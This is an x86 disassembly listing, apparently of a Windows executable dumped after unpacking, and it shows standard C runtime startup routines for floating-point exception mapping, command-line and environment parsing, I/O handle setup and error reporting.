		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2620B2Ch
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2620DC7h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2620B2Ch
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2620DEEh
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		call	near ptr 2620831h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 2620A9Dh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
